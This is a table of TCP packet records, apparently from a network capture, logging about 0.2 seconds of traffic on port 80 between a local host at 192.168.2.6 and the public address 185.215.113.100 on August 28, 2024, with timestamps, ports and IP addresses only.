Aug 28, 2024 11:51:15.854135036 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.854145050 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.854154110 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.854156971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.854168892 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.854182005 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.854182005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.854192972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.854201078 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.854218960 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.854239941 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.867738962 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.867748976 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.867753983 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.867824078 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.867824078 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.867835045 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.867872953 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.867930889 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.867943048 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.867954016 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.867958069 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.867983103 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.867985964 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.868015051 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.868040085 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.868107080 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.868118048 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.868130922 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.868143082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.868148088 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.868159056 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.868182898 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.868196011 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.868206978 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.868235111 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.868257046 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.870306969 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.870316029 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.870359898 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.870445967 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.870456934 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.870476007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.870486975 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.870487928 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.870492935 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.870501995 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.870526075 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.870538950 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.879096031 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.879106998 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.879113913 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.879158974 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.879163980 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.879177094 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.879189014 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.879198074 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.879200935 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.879229069 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.879260063 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.879276991 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.879313946 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.905977964 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906016111 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906027079 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906039953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906069994 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.906099081 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.906809092 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906858921 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.906874895 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906886101 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906908035 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906913042 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.906919956 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906927109 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.906932116 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906944990 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.906945944 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.906961918 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.906971931 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.906989098 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.907115936 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.907155037 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.907278061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.907289982 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.907294989 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.907300949 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.907311916 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.907324076 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.907330036 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.907334089 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.907341003 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.907351971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.907358885 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.907376051 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.907386065 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.936676979 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.936731100 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.936738014 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.936743021 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.936749935 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.936758995 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.936765909 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.936770916 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.936836004 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.939872026 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.939882040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.939892054 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.939937115 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.939958096 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.939973116 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.939989090 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.939996958 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940026999 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940072060 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940083027 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940093994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940112114 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940128088 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940160036 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940171957 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940181017 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940192938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940192938 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940223932 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940223932 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940233946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940248013 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940252066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940263033 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940272093 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940273046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940299988 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940319061 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940359116 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940368891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940380096 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940392971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940397978 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940404892 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940406084 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940416098 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940427065 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940458059 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940517902 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940527916 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940538883 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940550089 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940557957 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940562010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940581083 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940604925 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940664053 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940675020 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940685987 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940696955 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940701962 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940711975 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940725088 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940748930 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940819025 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940829039 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940857887 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940884113 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.940960884 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940972090 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940982103 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940993071 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.940995932 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941004992 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941016912 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941016912 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941028118 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941039085 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941045046 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941050053 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941065073 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941070080 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941082954 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941086054 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941096067 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941107035 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941107035 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941118956 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941129923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941129923 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941140890 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941153049 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941155910 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941164017 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941174984 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941175938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941184998 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941185951 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941196918 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.941214085 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.941242933 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.954852104 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.954864025 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.954874039 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.954911947 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.954922915 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.954931021 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.954932928 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.954945087 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.954957008 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.954968929 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.954988003 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.955003023 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.955051899 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.955063105 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.955073118 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.955085993 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.955090046 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.955100060 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.955107927 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.955112934 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.955141068 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.955173016 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.957402945 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.957432985 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.957438946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.957478046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.957490921 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.957494974 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.957501888 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.957515001 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.957519054 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.957544088 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.957576990 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.966012001 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.966027975 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.966037989 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.966094971 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.966105938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.966109991 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.966119051 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.966130018 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.966140985 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.966151953 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.966157913 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.966181993 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.995733976 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.995744944 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.995750904 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.995940924 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.995954037 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.995959997 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.995965958 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.995979071 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.995990038 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.995995998 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996001005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996007919 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996033907 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.996068954 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.996160030 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996169090 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996196032 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.996222973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996234894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996279955 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.996280909 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.996299028 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996310949 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996320963 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996331930 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996337891 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.996337891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996347904 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.996368885 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.996381998 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.996473074 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996485949 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:15.996515036 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:15.996525049 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.023478985 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.023494959 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.023511887 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.023525953 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.023526907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.023540974 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.023545980 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.023550987 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.023561954 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.023562908 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.023574114 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.023581028 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.023596048 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.023619890 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.026680946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026691914 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026732922 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026746988 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.026752949 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026763916 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026782036 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.026832104 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.026856899 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026866913 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026875973 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026890039 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026897907 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.026921988 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.026937008 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026947021 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.026947975 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026957989 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026968002 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026976109 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.026979923 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.026989937 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027021885 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027050972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027064085 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027074099 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027085066 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027092934 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027096033 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027108908 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027121067 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027146101 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027229071 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027244091 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027249098 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027252913 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027266026 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027282953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027287960 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027293921 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:16.027301073 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:16.027304888 CEST	80	49710	185.215.113.100	192.168.2.6
